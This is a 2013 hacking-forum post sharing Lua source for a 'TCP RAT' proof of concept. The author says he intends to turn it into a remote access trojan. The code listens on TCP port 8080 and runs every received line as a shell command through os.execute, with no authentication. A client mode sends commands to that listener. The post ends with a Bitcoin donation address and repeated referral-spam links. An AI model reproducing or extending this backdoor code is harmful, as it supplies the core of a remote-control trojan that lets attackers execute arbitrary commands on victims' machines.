Lua TCP RAT PoC 06-09-2013, 11:18 PM
#1
I'll most probably be making a RAT from this PoC, but now it's late and my eyes are dieing.
As it worked I was surprised as fucck.
Code:
-- Listen on TCP port 8080 --
-- Send data through the TCP protocol --
--
-- Execute received data as shell command --
-- Remote Lua execution code PoC by Noize --
--
-- Special thanks to JesseH
-- noize @ hackcommunity.com
socket = require("socket")
if (arg[1]=="--listen") then
host = host or "127.0.0.1"
port = port or 8080
s = assert(socket.bind(host, port))
i, p = s:getsockname()
assert(i, p)
print("Listening...")
data = assert(s:accept())
print("Connection established, now sending received data to the shell...")
cmd, endd = data:receive()
while not endd do
os.execute(cmd)
cmd, endd = data:receive()
end
print(endd)
end
if (arg[1] ~= nil and arg[1]~="--listen") then
s = socket.tcp()
assert(s:connect("127.0.0.1", 8080), "Error! Connection failed!")
s:settimeout(0)
s:send(arg[1] .. "\r\n")
s:close()
end
if arg[1] == nil then
print("\nPoC usage:\n\n 1. Run \"thisScript.lua --listen\"\n 2. Run in another instance of the shell \"thisScript.lua HERE GOES YOUR SHELL COMMAND\".\n\nThe shell command will be sent through the TCP port 8080 to localhost, which will be listening on the same TCP port and which will execute the command you sent.")
endAs it worked I was surprised as fucck.
My Bitcoin address: 1AtxVsSSG2Z8JfjNy9KNFDUN6haeKr7LiP
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U
If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U
If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)